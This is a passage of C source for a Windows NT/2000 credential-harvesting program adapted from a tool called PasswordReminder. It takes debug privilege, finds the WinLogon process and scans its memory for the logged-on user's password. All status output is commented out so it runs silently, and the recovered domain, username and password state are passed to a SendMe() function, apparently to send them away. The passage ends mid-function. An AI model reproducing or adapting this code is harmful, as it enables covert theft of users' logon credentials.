int __cdecl main(int argc, char* argv[])
{
//printf ("\n\tPasswordReminder\n\n");
if ((!IsWinNT())&&(!IsWin2K ()))
{
//printf ("Windows NT or Windows 2000 are required.\n");
return (0);
}
// Add debug privilege to PasswordReminder -
// this is needed for the search for Winlogon.
if (!AddDebugPrivilege ())
{
//printf ("Unable to add debug privilege.\n");
return (0);
}
//printf ("The debug privilege has been added to PasswordReminder.\n");
// Locate WinLogon's PID - need debug privilege and admin rights.
DWORD WinLogonPID = FindWinLogon ();
if (WinLogonPID == 0)
{
//printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
//printf ("PasswordReminder is unable to find the password in memory.\n");
FreeLibrary (hNtDll);
return (0);
}
//printf ("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID);
// Locate the block of memory containing
// the password in WinLogon's memory space.
BOOL FoundPasswordPage = FALSE;
if (IsWin2K ())
FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength);
else
FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength);
if (FoundPasswordPage)
{
if (PasswordLength == 0)
{
char msg[1024] ;
memset(msg,0,1024*sizeof(char));
sprintf (msg,"The logon information is: %S/%S.There is no password.\n",UserDomain, UserName);
//printf ("The hash byte is: 0x%2.2x.\n", i);
SendMe(msg);
}
else
{
//printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength);
// Decode the password string.
if (IsWin2K ())
DisplayPasswordWin2K ();
else
DisplayPasswordWinNT ();
}
}
else;
//printf ("PasswordReminder is unable to find the password in memory.\n");